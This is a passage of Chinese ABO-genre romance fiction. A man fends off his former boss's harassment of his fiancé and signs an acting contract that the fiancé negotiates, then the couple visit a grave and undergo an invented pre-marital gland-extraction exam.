部门门面席某一脸尴尬地收拾完东西出门,心里想着:“总不能说实话告诉你们我要结婚去了吧。”真要这么说,他保证自己今天不交代完完整的相识恋爱求婚流程就绝对出不了这栋楼。
但他本人都不知道那些东西,又能往哪儿编。所以还是算了吧,闭口不言保平安。
左手拎着袋垃圾,右手抱着一筐整理出来的杂物慢悠悠地朝电梯口走去,想着马上能继续做自己喜欢的工作了,灰蒙蒙的阴霾天和出汗后黏在后背的衣服都没能让心情变糟。
“宋”拐过转角刚要喊人,突然瞥见那长身玉立的人身旁竟黏着一团黑影,身高不及人肩膀肚子却顶两个大,定睛一看,正是公司出了名的老色胚中年领导。
他放轻脚步往那边走去,听到的声音也越来越清晰。
“小美人是来找人还是谈工作?我是这家公司的副总,姓球,你可以叫我球哥。”“今儿降温,你身上这两件衣服有些薄啊,哎哟这里边是病号服吗?你生病了啊?严重吗?”“身子这么单薄,你是o吧,有对象了吗?”
眼看球某越贴越近,甚至还想上手去碰人衣服,他立马大步流星走过去,鞋子在地面踩出属实不小的动静。
“球总!”闻言那边两个人都转过头来,“叮”电梯在这时正好到了,里面是空的,没人。
被骚扰了半天的小美人宋少爷赶紧闪了进去,球总回过神来就想跟进去的时候,被一袋黑黢黢的东西拦住了动作。“不好意思球总,我赶时间。”
然后他就挤在圆滚滚的前领导之前进了电梯,板正地站在正中间一动不动,看到外头球某人一脸被坏好事的不爽表情,还礼貌地微笑问:“您也要下吗?”本以为对方会知难而退,没想到竟然真的挪着身体进来,不甘心地挤到了另一边。
虽然距离被卡死,但色胆包天的家伙显然不愿停止那自以为是的“示好”,就连当着前下属的面都按捺不住:“美人儿,我刚提了辆911,有没有兴趣一起去兜个风?”
被一左一右夹在中间充当保险杠的人幽幽开口:“球总,外面下雨呢。”
“啧。”对方显然不爽被拂了面子,但碍于形象只能继续装模作样,“那大桥对面有家新开的川菜馆,味道可好了,平时都得排队,但我认识那儿的主管,想不想去试试?”
幽幽的声音再度在这狭小的空间内响起:“球总,没见人身上穿着病号服吗,川菜?不太合适吧?”
“咳咳。”许久不开口的宋少爷终于忍不住假装咳了两声。
两度被呛,还是公司里之前最低级的小员工,球总的面子显然彻底挂不住了,厉声道:“席棹!我在跟别人说话,你巴巴地多什么嘴,你是人家什么人,有那个资格多嘴,啊?!”
被这么质问,他突然咧嘴一笑,低头看向怒气上脸的球某,说:“我是他未婚夫。”
“现在您觉得我有资格多嘴吗?犯了公然猥亵罪的球副总?”
5. 第 5 章
“什么未婚夫?你?是他未婚夫?”中年男人显然不甘心就这么放弃近在咫尺的美色,但还是被未婚夫三个字小小震慑了一下,于是梗着脖子抬着头:“你说是就是?拿什么证明?”
席棹嘴角动了下,眼神中透出恰到好处的疑惑:“这需要什么证明吗?喔,您是想要一张婚宴请帖?那不好意思了球总,我记得公司有规定,部门主管级别以上的领导参加私人宴会是要上报审批的。”说着他把头转了回去,正正看着前方,一副不愿再多说的样子。
“你、你凭什么说我猥亵!”三度被下脸子,球总的注意力彻底从小美人那里转移到了身边这个外形优越的前下属身上。
这身高、这脸,就算一穷二白,在这个看脸的社会也有的是人愿意倒贴。
嫉妒很快就把理智烧干了。
“你信不信我告你诽谤!”恶狠狠的一句话飘荡在方寸之间。
听的人却是一阵发笑,掏出手机轻点解锁,一段清晰的录音就这么播放了出来——
“哎哟这里边是病号服吗?你生病了啊?严重吗?身子这么单薄,你是o吧,有对象了吗?......美人儿,我刚提了辆911......”
死寂。原本气焰嚣张口口声声要告诽谤的家伙瞬间哑了火。
他把录音暂停在这句话,轻咳一声:“球总,我记得您上上个月才换过车,真是让人羡慕,不知道这收入的税,经不经得起查。”
威胁,赤裸裸的威胁。
说的人明确地传达了意思,听的人也明确地接收到了。
“你、你给我等着。”这句的气势明显就弱了许多。
他突然心情大好,伸手按下中间的一个楼层按钮:“马上到午休时间了,楼下来来往往的人多,您还是不要送了,不合适。”
“叮”电梯门开,他侧了侧身,给人让出一段距离。电梯外几个穿着工作服的员工面面相觑,球总最后只能一脸菜色地向外挤出去,离开前那眼神颇为怨恨。
负一层停车场,两道人影从电梯口出现。
席棹伸手替肩膀还抖个没完的宋少爷打开车门,有些臊得慌:“有这么好笑吗?你已经笑了一路了。”在听到强忍笑意的一句“我昨天怎么没发现你这么能说”以后顿觉脸上一热。
幸好对方还记得注意场合,钻进驾驶位后从侧边抽出一个驼色文件袋递向副驾驶:“看看,这是我朋友那个娱乐公司,去年注册的,算是刚步上正轨吧。”
扣上安全带后他顺势接过,边问:“你什么时候准备的?”边从头看起来。身边这人明明从昨晚开始就一直和自己在一起,甚至在咖啡馆待了一个通宵,早上连衣服都没换,穿着那病号服随便洗漱了一下就来这儿了。
可就算是这样也还是会被某些不长眼的家伙搭讪,他有些莫名的不爽,连带着翻册子的动作都暴躁了些。
头顶突然亮起照明灯,那截皓白手腕往旁边收了回去,发动了车子:“之前他来找我谈事情的时候顺手留了一本在车上,我一直没动。”随即话锋一转,“快11点了,走吧,带你吃饭去,就......大桥对面那家新开的川菜馆吧。”
翻页的动作顿住。“不是说那家要排队吗?你没吃早饭,要不还是换个快点的。”
“不麻烦,一个电话的事。”说着车载音响就传出当下最流行的一首手机铃声,那头很快有人接了。“喂?”是个很清亮的男声。
“喂,是我。”
“哟舟舟少爷,什么事儿让您想起来给小的打电话啊。”
“别贫,你最近在生生大厦楼下开的那家川菜馆,给我弄个安静点的包厢,我十五分钟左右到。”
“得嘞,这就给您安排!”
“嗯,谢了,改天请你吃饭。”
“客气,来之前别忘了带点好茶啊!”
“成,挂了,开车呢。”
挂断后车里安静了十来秒,似乎是注意到副驾驶没再传出翻页的动静,轻柔的声音说:“这是我的朋友,不是宋采舟的朋友。是个白手起家搞餐饮的,现在混得还不错。”
有那么一瞬间,他高兴于对方的解释,又羞愤于对方的解释。两番较量之下,那本概念册就被合了起来。
“你的车倒是低调,不像平常那些二代。”这语气有些拗,还带着股说不上来的醋劲。
毕竟宋氏都能投资公立医院,即便对方并没有提过家里的具体情况,也不难猜到其家境殷实,恐怕远不是“富二代”那种程度的。
所以他才会说出这种话来。
听见这话驾驶座上的人反倒很高兴,油门一踩加了个速,车上了跨江大桥。“这是我自己挣钱买的第一辆车,开着顺手,没打算换。”
他听懂了这话,语气却更拗了:“我也会挣到钱的,向你借的那些我都会还上。”
“我知道,你肯定能挣大钱。”这句话过后,一直到下了大桥开到大厦停车场,车里都没再响起交谈声。
安静持续到两人在专人带领下进了餐厅包厢、坐下点了菜、服务员退了出去,等了一阵后他才用热毛巾擦着手,有些支吾地说:“你朋友那家公司的基本情况我都了解了,没什么问题,签约的事什么时候去办?”
他承认自己有些急了。但他现在一心只想着赶紧工作挣钱,把那些债都还上,然后......然后就能像那搞餐饮的一样被欣赏,被当作“朋友”介绍给别人。
简直是魔怔了。
有服务员进来上菜,陆陆续续的摆盘过后,包厢内又只剩他们俩人。早饿得眼冒绿光的人赶紧动筷,压下胃里开始闹腾的动静后不紧不慢地说:“反正你离职也办完了,下午没事,那就跟我去一趟B市吧,我约他亲自谈谈合约。”
听到这话,先提起话茬的人却愣了下。他本以为对方会说求稳慢慢来,却没想到自己的一点小心思完全被接纳了。
一瞬间先前那点诡异的酸劲和拗劲全被抛到了脑后。
两人安安心心享受了一顿午餐,略作休息后便赶到机场,搭乘最近的一架航班飞往B
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市。落地后的第一件事却不是去那家刚步入正轨的星汇娱乐,而是......
某奢侈品专柜贵宾室里,席棹被指挥着从头到脚换了不知第几身行头,终于换到厌烦,倒在沙发上意图罢工:“差不多了吧,这些衣服和鞋有什么区别?不都长得一个样吗?”
刚坐下没一分钟就被吹毛求疵的宋少爷拽了起来:“起来,最后一件,换上试试。”说着递过来一件绣了半肩金线的新中式西装外套。
他看着那又皱起的眉心,感觉身上来了点力,赶紧趁势张着手臂套上,还抽手正正衣领,老老实实站到对方面前接受检阅。
“嗯,这套最好,衬气质。”看到那眉心倏地松开,他顿觉轻松不少。
“穿着走吧,头发不用刻意打理了,不然看上去会很沉闷。”说着没等人休息一下就签字结了账,拎上装了原来那些衣服的袋子示意,“愣着干什么,走啊,我可没多余的手牵你。”
顶着几名销售激动兴奋的眼神,他几乎是同手同脚地出了店门。
然而十分钟后他才意识到刚才那些销售们已经很收敛了,因为坐在对面的这位星汇娱乐的老板显然才是真的毫不掩饰。
“宋总,这位就是你跟我说的很有潜力的新人?嗯,这外形是不错,气质也有辨识度,不愁观众记不住他。”打量的眼神很直接,但毫不粗俗。
他就坐着像件货物一样接受打量和评价,也不说话,现在还不是多话的时候,他很清楚,也很熟悉。
身旁的人虽然是在谈判,但姿态放松:“我了解他的能力,在你这儿拿个A级合约并不过分,老裴,我的眼光你是知道的。”
姓裴的年轻老总哈哈一笑:“宋,你的眼光我当然相信,我也能看出来他是块璞玉,但他到底是个新人,没有任何过往作品,没有相关行业经历,年龄也不占优势,A级合约是不是有些上压力了?”
都是混生意场的,为自己谋求更多的利益再正常不过了,就连安静坐着的璞玉本人都觉得A级合约不过是宋采舟提出来好做后续杀价谈判的一块砖罢了。
却没想到那温柔的声音说出坚决不退的话:“就A级,而且只签影视约,别想拿艺人全约来糊弄我。”
“宋总!”裴明知有些急了,险些坐不住,“A级就算了,只签影视约?星汇只是个刚起步没多久的小公司,能拿到的优质资源十个有六个是综艺,你这要求恕我直言实在是有些过分了!”
桌上气氛瞬间降至冰点,就连他都要忍不住说算了的时候,身旁的声音还是那样温柔:“我什么时候让你吃过亏?如果我能把你那十个优质资源提高到五十呢?”
“五十?!”裴明知愣了。十也好五十也罢当然都是个概述,但宋采舟这话的意思显然是愿意投资整个星汇,这可是他勤勤恳恳干不知道多少年才能求来的!
“......”
“我的人,不需要靠什么综艺刷脸,只要稳稳当当地演戏就行,三年内,如果他真让星汇亏了,亏多少,我十倍补给你。”
6. 第 6 章
“你说什么?十倍?!”
话音刚落,席棹就看到对面温文尔雅的年轻老总激动得站了起来,但又很快坐下,一番明显的犹豫后,用带着点好奇的语气问:“宋总,我能提个问题吗?”
“裴总但问无妨。”
“这位,不会是你的兄弟什么的吧,要真是和你们家搭边儿的背景,那我小小星汇恐怕是招惹不起啊。”裴明知的汗都快流下来了。他一开始以为这是宋采舟看上的人,想着冲宋氏的面子签个B级合约,分成多让点就多让点,大不了以后等人腻了再改。
结果没想到宋采舟居然一开口就要A级,甚至还放言只签影视约,又暗示愿意给投资和资源,他这才彻底放弃那种想法。
因为圈子里谁都清楚宋家少爷虽然年轻,但从小作为豪门继承人培养,不可能为点小情小爱上升到商业层面。
而最后那句十倍补偿的豪言却是真正让他心惊,心惊到往人身世上怀疑。
“呵,裴总多虑了,宋家如果新添了人丁,我一定设宴请您来一同贺喜。”这语气漫不经心的,就像随口开了句玩笑。
还好,还好不是宋家的人。裴明知暗松口气,随即又挂上满面笑容:“玩笑,玩笑。看来宋总是真的很看重这位......”说着他转向一边从进门起就缄默不言的人。
“席棹。”“席棹。”两道声音同时响起。“以后手下艺人的名字,裴总可要记住才好。”
席棹敏感地察觉到了这话中的些许不快,有些惊奇。既惊奇于宋采舟对外表现出来的强硬,也惊奇于那言语中丝毫不加掩饰的维护。
因紧张而绷紧的大腿和腰背在这一瞬间放松了下来。
“不好意思裴总,借用下洗手间。”刚一放松就感觉到潮意涌来,他神色抱歉地起身,在裴明知的微笑抬手示意下进了休息室里的卫生间。
洗手的时候他怔怔地看着镜中的自己,突然就出了神,想到了刚才裴明知的那句话。
兄弟?虽然不是兄弟,但婚姻对象,怎么不算是和宋家搭边儿的关系呢?
镜中人不知所谓地笑了下。
擦掉残留的水珠,刚按上门把手,外头就传来一句清清楚楚的——“老裴,其他的事我一概不管,只有一点要求,不能泄露他的真实个人信息。如果星汇的公关做不到,我可以亲自为他挑选团队。”
透过门缝,他看到那声音的主人悠闲地端起茶杯抿了一口:“选个能干点的经纪人,至于助理最好就招个女性beta,细心,事少。”
奇怪的是,被这样强硬地安排好一切,他却并没有觉得不舒服,反而有种隐秘的满足。
这有什么呢?他用一个无可指摘的理由说服自己——宋采舟是这个世界上唯一一个他不用伪装去面对的人。
半小时后,A级影视约签订完成,裴明知最后确认了一遍:“真的不需要配备房车?”说着手指点了点桌上那一掌厚的合约,“这不是什么过分的要求。”
席棹摇了摇头,脸上并没有一丝一毫的遗憾:“真的不用,我一个纯新人,刚进组就那么高调不是什么好事,裴总,您也不想星汇刚起步就被同行盯上,拿这种小事去做文章吧。”
旁边插进一道轻笑:“你看,我就说他适合这圈子,连公关风险都替你想到了。”裴明知同他对视一眼,也笑了:“行吧,给我省钱我倒乐意,就冲这么懂事的份儿星汇也不会亏待你的。”
“那就,希望咱们合作愉快,也祝你事业有成。”
......
离开星汇所在的办公楼后,两人并没有急着赶回S市,反倒开着一辆从裴明知那里借来的低调SUV沿着城际逛了起来。
车上,席棹一手支着脑袋看着窗外正神游着,突然一张纸条从旁边递过来,在他手背上轻拍了拍,摩挲得那片皮肤酥酥的发痒。“这什么?”
开车的人淡淡道:“你看看呗。”他捏着一角展开,看到那上面的内容后轻挑了下眉。
这是一张借条。
“中午那顿就当我替你庆祝离职请的,但你身上这身行头可不便宜,我要说送你,你多半也不乐意,所以就当是借的,你带回去好好保存着,别糟蹋了。”
他以为自己听到这话会不舒服,但等了一阵发现并没有,于是噙着笑郑重地叠好这不签字就根本没有法律效力的纸条,塞进内侧口袋后煞有其事的轻拍两下:“庆祝离职有饭吃,那庆祝入职,宋总就没什么表示?”
车身流畅地滑进白线框内停稳,“挺好,你都会向我提要求了。”这话听上去唬人,其实感觉不到一点被冒犯的不快。“下车,带你去见个人。”
两人一路往深里走,最后停在一块小小的墓碑前。碑面的刻字描了金,从立碑时间上看也有个五年左右了,但崭新的就跟刚洗过一样,比刚才路过的那些都要干净不少。
他稍稍矮身,在看清生卒年月后隐隐有一种预感。“这是?”
身边的人语气依旧很平稳,透出一种他曾在拥抱时近距离感受过的温柔和心安。“我刚来这个世界的时候是15岁,还没完成第二性别的分化。那时候宋家不让我出门一步,所有的学业都是请专人来家里授课完成的。”
听到这里,他鬼使神差地转头,看到身旁纤瘦的人在日光下白到近乎透明的皮肤,甚至还能看清那脸上的细嫩绒毛,软乎的跟新生幼猫一样。
这样一副柔软苍白而脆弱的外表。
但他知道,不是的,这具身体里的灵魂,和这几个词背道而驰。
“我那时候不懂,更不能接受像宠物一样被豢养,就在16岁生日的时候和我的钢琴老师商量出去玩半天,他当然没同意。”说话的人蹲下身,伸出手抚摸着碑上刻着的名字——温小鹤,死亡时年15岁。
“但我知道老师的女儿那天也来了,就带着一块蛋糕和一条手链去求她,我跟她说我只是想出去看看,不走远,很快就回家。”说到这里声音停顿了下,再继续时就带着股
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窒息般的泥泞,“要不说小孩子好骗呢。她和我换了衣服,让我穿着她的裙子,然后趁管家不注意带着我从花园的一个洞里钻出去了。”
这似乎是一个很温馨的展开,但听故事的人心头猛地一跳,果不其然听到了急转而下的一句——“结果她就被蹲守在附近的车撞死了。”
墓碑前的人站起身,用手背挡了下正毒辣的太阳。“我和她只见过三次,第一次是钢琴老师来家里面试的时候,第二次是那天生日,第三次就是她的葬礼。”
他不动声色地往前挪了半步,替人挡住斜过来的大半日照,然后听到,“从那以后直到分化彻底完成前,我再没有离开过家门一步。”
不知道是被晒的还是听故事听的,他只觉得喉咙干得发痒,像有人朝里头撒了把沙子。
他想像昨天对方拥抱着安慰自己那样去抱住身边的人,说一句“错不在你”,可是却怎么也无法抬起手。
“带你来这儿是想告诉你,这个世界其实和我们那儿没什么不同,人有好有坏,事也有好有坏,你不用觉得陌生,更不要觉得自己是独立于这世界之外的存在。”
这话里已经没有了刚才那种泥泞的沉重,像是终于从沼泽地里脱身的人,只愿向前看而不敢回头。
他心口有股酸疼密密麻麻地翻上来,可能是为了温小鹤,也可能是为了宋采舟,还有可能是为了自己。
当晚两人睡在B市的酒店,分开前宋采舟提醒了一句“早点休息,明天不要吃早饭”,他一开始没明白意思,直到洗完澡躺床上复盘这忙碌的一整天发生的事,才猛然意识到——
好像除了来签合同,他们还有另一件很重要的事要做。
第二天一早,被带到近山脚下一家七拐八拐才看到正门的私人医院后,那件很重要的事终于被摆上台面。
“这医院,不会也是你哪个朋友开的吧?”换上检测服后他有些好笑地问。一脸睡眼惺忪的宋少爷揉揉后脖,白了他一眼:“你当全世界都是宋家的?有这么大面子呢?”
那就是不是的意思了。挨了一记白眼的家伙心情还不错,很有闲情逸致的打量起周围。这私人医院装修得跟西方教堂很像,设施很少,到处都显得空荡荡的,而且一路进来除了几个工作人员以外没再看见别的人。
“这里只接待预约客人,今天除了我们俩以外不会有别人。”
“你又是什么时候预约的?”他不禁怀疑起自己的记忆。怎么这家伙做什么事都不知不觉的,还是说这就是宋家培养出来的能力?
还好对方没再在他的记忆力上戳上一刀,实话说:“记得你在S市中心医院捡到我那天吧?本来那天我是去取腺体报告的,为的就是到这儿来进行一次全面匹配。结果正好你出现了,我用不着匹配找人了,就把内容改成了婚检。”
这时传来敲门声,有人在外头问:“宋先生,席先生,准备好的话就可以过来了,我们先提取一下两位的腺体/液和信息素。”
7. 第 7 章
“走吧。”
席棹看着身形比自己瘦弱好几圈的人先一步出去,心底忍着笑,假装没看到刚才那掠过眼前的发抖指尖,抬脚跟了上去。
操作员从头到脚一身的防护装备,裹得跟个宇航员一样,只露了双眼睛说:“我要先提取两位的腺体/液,这项操作会刺激到神经,痛感会比较明显,所以需要伴侣在过程中释放安抚信息素。”然后抬起双手示意,“剂量和浓度按照你们平常的习惯来就行,不用担心影响到我。”
腺体/液?他其实是第一次听到这名词。之前只在网络上了解过一些有关ABO性别的基础知识,知道腺体长在后颈,但具体的构造和作用什么的还真没细看过,不敢看。
操作员问:“哪位先来?”就在他无所谓的想先上的时候,突然感觉自己的胳膊被按住,那力道并不大,有意的话稍微用力就能挣开,但他在这瞬间明白了手主人的意图,愣是没动。
“我先来。”单薄的身体趴上操作台,头被轻按着往下低,纤细的后脖就整个暴露在照明下。他看着那截脆弱的肢体和皮肤,越看越觉得浑身发麻。
下一刻,当看到操作员取出一只加大号注射器,那针头直径足有两枚硬币厚的时候,他才隐约明白刚才那苍白的脸和颤抖的指尖是怎么回事。
“宋先生,请放松,现在给您注射保护剂。”冰冷针头没入近乎透明的皮肤中,管里的浅色半流体被匀速推到底,他看到宋采舟的后脖上凸起一块果冻似的软乎晶体,很快变得通红,像吸饱了血。
操作员用指腹轻轻地在那块外围按了几下,然后立刻换来一只正常大小的针头,小心地扎进凸起的正中,接上采集管,动作极缓地从里面抽出所谓的腺体/液。
抽取过程持续了整整五分钟,他近乎呆滞地看着那管里的液体越来越多,趴着的人后脖上明显的凸起肉眼可见的平息下去,早就把某件事忘到了九霄云外。
直到操作员拔出针头旋转闭合后取下,转身把管子插进冷冻箱保存好,才用一种既不满又疑惑的眼神看过来:“席先生,您......”
还趴着的人没抬头,只是循着声音来源,抬起一只手抓住操作员的衣角,低闷的声音从底下传出来:“你先出去,我有话和他说。”对方似乎也意识到了自己的逾矩,收了声抱起冷冻箱往外走。
他能感觉到那眼神中的不满更浓了,甚至还带着点不齿。
这眼神是什么意思?懵懵然地想到刚才好像是说要释放安抚信息素什么的,但实际上自己却完全忘了这事。意识到或许是自己“伴侣失职”的行为才引得人目光有异,他顿时感到无所适从。
“别往心里去,不是你的问题。”趴着的人慢悠悠的艰难地坐起来,一张小脸血色尽褪,额头上还渗着汗珠,惨兮兮地挂着。“你也别怪她,他们不了解情况,总是用平常的标准来做事的,只是恰好我们俩都不正常。”
“我没往心里去。”他勉强张嘴,用很轻的语气问:“你痛吗?”眼前煞白的脸好像在嘲笑这多余一问,耳边却飘来安慰的话:“有点,还行,我习惯了。”
习惯了?这又是什么意思?
没等脑子有所反应,身体就快了一步。他双臂揽过宋采舟,动作轻到像捧着一件昂贵瓷器,小声在那耳边说:“放信息素给你会好一些吗?”
烟熏火燎的味道瞬间弥漫开来,怀中的身体剧烈地抖了一下,然后伸手拍他后背:“行了行了快收回去,我没事,你这味道太浓了,安抚信息素哪有这么放的,回头我再教你这些。”
“......哦。”他收起有些沮丧的心情松开手坐了回去,“你要和我说什么?”
“你不想知道为什么要提取我们俩的腺体/液吗?”
他茫然的眼神飘忽不定:“不是婚检的内容吗?和平常的抽血验血应该差不多吧?”突然脑门上被一根冰凉手指轻戳了一下,动手的人笑道:“你还真是一点不懂啊。”
“听好,你记住,在这个世界上,腺体的重要性不亚于心脏,一个人可以没有信息素,但绝对不能让腺体受伤,那是会危及生命的。”
他指尖一颤,想起自己前天晚上哭得狼狈不堪的样子,有些心虚地问:“比信息素失控还严重吗?”
结果脑门又挨了一下,“信息素来源于腺体,你说呢?”面前人的脸色依旧苍白,“提取腺体/液是为了制作舒缓剂,既然你的信息素能安抚我的紊乱症,那用你的腺体/液制作的舒缓剂就也有效果,反过来也是一样的。”
这句话却让他的心一瞬间凉了下来,看着那双发白的嘴唇,悄悄垂下了眼睛:“我已经答应了帮你调理紊乱症,就绝不会食言,这样......还需要舒缓剂吗?”
这回轮到对方愣住,随即轻笑几声说:“你想什么呢?那肯定是你亲自帮我效果最好,但你不是得去拍戏吗,又不可能时时刻刻待在我身边,总得以防万一吧。”
“而且。”语气严肃起来,“你还没有亲身体会过alpha的易感期,万一在拍戏期间出了事,我又恰好赶不过去的话,有舒缓剂能解决不少麻烦。”
心底的温度开始重燃,他不知道自己是为了这周全的考虑欣慰,还是在期待着什么。只觉得易感期或许并不可怕,如果有宋采舟陪着的话,好像没什么值得害怕。
“一会儿我就在旁边,稍微忍忍,很快就结束了,实在受不了的话千万不要憋着。”一只手覆上了他的,“抓也行咬也行,发泄出来就好了。”
哄孩子一般的语气。
他不以为然,直到自己趴上去,在照明灯的炙烤下感觉到那粗大针头扎进后脖,恍惚中甚至以为要刺到颈骨。
冰冷的东西被推进体内,开始向四肢蔓延游走,激起神经的战栗。有火顺着经脉烧起来,他想颤抖,想痛呼,想任由身体反抗,跳起夺门而出。只要能让这种感觉消失,他什么都愿意做。
操作台的皮面被用力地抓烂,里头的絮填满了每一道指甲缝,他想弓起身躲避,却浑身使不上力,身体紧紧贴着台面,觉得自己像张被烙扁的饼。
“他刚才也是这么痛吗?”想到宋采舟也躺过这台子,也在这上面挣扎着感受过,而那时候的自己
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在做什么?在边上呆愣愣地看着。
想到这里,他痛呼出声,视线被一层热气熏得模模糊糊,潮湿的气息涌上来,镂空的台面下出现一滴深色痕迹,一点、两点......很快汇聚成了一小滩。
“我在,席棹,我在。”和这无比温柔的声音一起靠近的,还有一股略带苦涩的茶香,不像是泡开的成茶,他反倒从那里面闻出了茶叶被炒干时的痛苦和煎熬。
我就是茶叶。他想。想当被宋采舟碾进怀里的茶叶。
先是腿被碾碎,然后是臀、腰、手臂,最后手指也没留下,他觉得自己没了身体,只剩一点残缺的灵魂。
“好了,好了,结束了。”热源靠近,有双冰凉的手臂从背后拢住他,把残缺的部分补全了。“掉这么多眼泪,这么怕痛吗?”
他被扶着坐起,软若无骨般靠在人肩头,迷蒙之中发现操作员不知道什么时候已经离开了。近在咫尺的人嘴角绷得笔直,哪有一点开玩笑的样子。
“痛,但能忍。”他把脸埋进那颈窝,努力嗅着。
“能忍还哭成这样,你比我还娇气,你才是少爷吧。”
“席大少爷。”
席大少爷没力气反驳。身上的痛能忍,反正我只是一枚茶叶,可心里的怎么忍,茶叶那么易碎,是颗玻璃心。
室内安静了半晌,良久后他嘴一扁,说了句:“你让我别忍的。”双手摸索着抓上那只纤细手腕,像倚靠着一根栏杆,“真的很痛。”
“我知道,辛苦了,你做得很好。”
他想听的不是这个。算了,这样也好。
“这就算提取完了吗?”
“嗯,已经拿去配研中心了。”
“哦。你说习惯了,是以前经常被这么......对待吗?”
“也不是经常吧,半个月一次,为了调理紊乱症。”
宋采舟觉得腕上的手突然使劲,然后很快松开了,侧过头解释:“没事,你不用半个月抽一次,舒缓剂一次的制作量够用三个月。”
也许是omega天性作祟,他觉得这超大一只的家伙比那天晚上生人勿近的时候可爱多了,怕疼、会哭、还会撒娇。这算什么,养成吗?
他抬手摸了摸那头短发,有些扎。“你这头发得养一养,不然以后不好做造型。”
胳膊上缠着的两只大手松开了。
“趁这段时间我给你找个老师吧,上上生理知识课,万一遇到点什么特殊情况,自己也好有个应对。”他是真觉得席棹聪明、听话,而且从没有反对过自己,这种被信赖的感觉其实还挺不错的。
结果没想到这念头还没到底,就听见一句:“不要。”
“为什么?”他眨眨眼,反应过来,“这没什么好害羞的,上生理课在这儿很常见,不会有异样眼光,我保证找个嘴严的。”
以为这回总该可以了,他低头想逗一逗人,结果看到那张俊脸冷得不行。怎么看着像是......生气了?
“我信不过别人。”
“你觉得我该学这些,那你给我上课。”
8. 第 8 章
“我给你上课?我又不是alpha,怎么教你?”
席棹偏头躲过闪来的镜面光,眉心拧起不易察觉的弧度,垂眼思考了几秒,再抬眼时就是满脸的忧虑:“那你是打算让别的alpha教我吗,不怕他们察觉出什么?我可是......什么都不懂的。”
果不其然,一贯想得周到的家伙听到这句话后眼中闪过一丝犹豫。
他马上加把火说:“那笔50万也不能马上还,至少要拖到月底,这段时间我得住你那儿,还是不要让别人知道比较保险吧。”随即语气弱了下来,“等你实在没空,我又要进组去拍戏的时候再找个老师也行,那样还不会给你添麻烦。”
安静半晌。他知道宋采舟心里已经松动了,正在权衡,越是这种时候自己就越得沉住气,可还是忍不住去探知,用一种近乎讨好的小心翼翼的目光去追逐靠近。
面对面不过半臂的距离,对方显然感觉到了,思考时平静无波的表情终于出现裂痕,眼尾向下弯了弯:“你说的也有道理,好吧,在进组前你就先住我那儿,我平常也不是天天都在,回去住的话会提前告诉你,至于生理知识,就只能站在我的角度去教了。”
“好。”没等再多说些什么,有护士敲门传话:“宋先生,席先生,医生请两位过去。”
跟着进了最宽敞的一间办公室,椅子上的人扶着眼镜转过身,朝两人伸手示意:“请坐,我是这儿的分析师,姓赵。”赵医生看着约莫五十来岁,脸上表情不多,让人本能的觉得紧张。
显示器被翻转朝向,上面一左一右挂着的两张报告被放大。“宋先生的资料是从别处调过来的,比较齐全,那我们就先说说你的。”
左边那张被撤走,右边报告上最顶端硕大的“信息素紊乱症”几个字跳出来。
“你的紊乱症是伴随着分化完成出现的,具体原因想必自己也很清楚,和成长环境有关,这个咱们就不多说了。”
“我看了你每年的体检情况,这三年内发作的频率和程度其实是越来越不乐观的,不过好在你没有为了临时压制病情随便找人标记。我见过几个忍不住痛去找个契合度差不多的就标记上的患者,结果都是治标不治本,最后腺体彻底萎缩的也有。”
“紊乱症的根源在于腺体成长对环境的适应性太差,自己没办法控制,需要借外力来引导着适应。但是标记意味着定型,那就不是引导,而是强制发展成某种固定形态,所以在标记初期可能还有一些效果,但到了后期患者就要承受内外双重的对冲折磨。”
赵医生把每个明显的波动峰值圈出来,又拉了张对比图:“虽然纵向来看不乐观,但横向对比,你是我见过的紊乱症患者里自身控制得最好的一个,你应该没有谈过恋爱吧?”
宋采舟数据上的两次峰值间隔段内,放到其他图上至少有十次左右。
“没有。”
“嗯,紊乱症患者要控制不发病,远离情绪波动的诱因才是关键。”似乎很满意这样遵医嘱的病人,赵医生的脸上竟出现了明显的微笑,“我看你对自己的身体很了解,想必伴侣也是经过深思熟虑才选定的。”
说着他用一种探究的目光看向席棹。
“席先生虽然不是紊乱症患者,但每年的体检该做还是得做啊,不然连自己身体出现什么问题了都不清楚。”
屏幕上的数据报告已经换了一份,一眼看去最明显的就是表格中间笔直的一条线。
席棹当然看不懂上面密密麻麻的数字是什么意思,只是盯着那条线最后一个小小的向上波折的三角若有所思,他指着那里问:“这个,是信息素异常的意思吗?”
“对,既然你知道这代表着信息素异常,那你就应该还记得当时是个什么情况。”赵医生的笔尖在那块点了点,“如果说这儿显示的异常值是1,那你那会儿真正的异常程度就至少有5。”
说着,那条线被一段段拆分开,上下排列着分别放大。他这才发现那根本不是直的,而是因为上面密密麻麻的凸起实在太小,在缩小后才会看上去像条直线。
“我没在数据库里找到你以前的检查资料,所以不能确定这是不是天生的。但就从近三个月的显示看来,你的腺体对外界刺激和反馈都是绝对的冷感,也就是alpha中的beta体质。”
“这种体质一万个人里都不一定有一个。”
他恍惚着回忆,发现自己在这个世界醒来后好像确实没有闻到过身上信息素的味道,除了和宋采舟相处的这几天。
那种呛人的像什么东西烧焦后的味道,如果有溢出来的话,应该不会不记得。
赵医生的镜片上寒芒一闪,声音刻意压低了几分:“我猜也许是你父母不想让别人知道你的这种体质,而你也从来没有在公共场合失控影响过秩序,所以干脆就不带你做会留档的检查了。”
不想让人知道、车祸、火灾......法庭!
他挺直了背,转头和身旁的人对视上,眼里的讶异和猜疑不言而喻。
“这种体质我还真不是很了解,对他身体会有什么影响吗?”宋采舟神色平常地问道。
“不会有影响,其他alpha有的他也都有,易感期或许会短一些,但是生理功能都是正常的,要孩子肯定没问题。”赵医生重新调出两份档案,往下一划。
剧烈的咳嗽声响起,他面色胀红的看到对面老医生一脸的见怪不怪:“至于你俩的信息素匹配度,平时接触的时候应该也多少有感觉吧。”
“是完美契合,恭喜了。”
看到最下面的分析结果,鲜红的几个数字挂着,再后面的话其实他已经完全听不进脑子里了。
看着眼前高大英俊的小伙儿嘴角带笑的傻瓜模样,赵医生欣慰之余不忘转头补充:“考虑到宋先生你的紊乱症,我的建议是三年内先不要完成彻底标记,等腺体调理到相对正常的状态再进行,当然,临时标记和日常夫妻生活是没问题的。”
这回咳嗽的人轮到了宋采舟,“呃......好的,那还有什么要注意的吗?调理方面?”
赵医生笑得慈祥:“本来是该提醒你调
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理过程中不要接触多个alpha的,但看你俩的情况,应该不会有那种事情,放宽心就行,这事儿得慢慢来。”
两人出了赵医生的办公室,又花三小时完成婚检的其他项目,最后拿到所有报告离开的时候早已过了午饭时间。
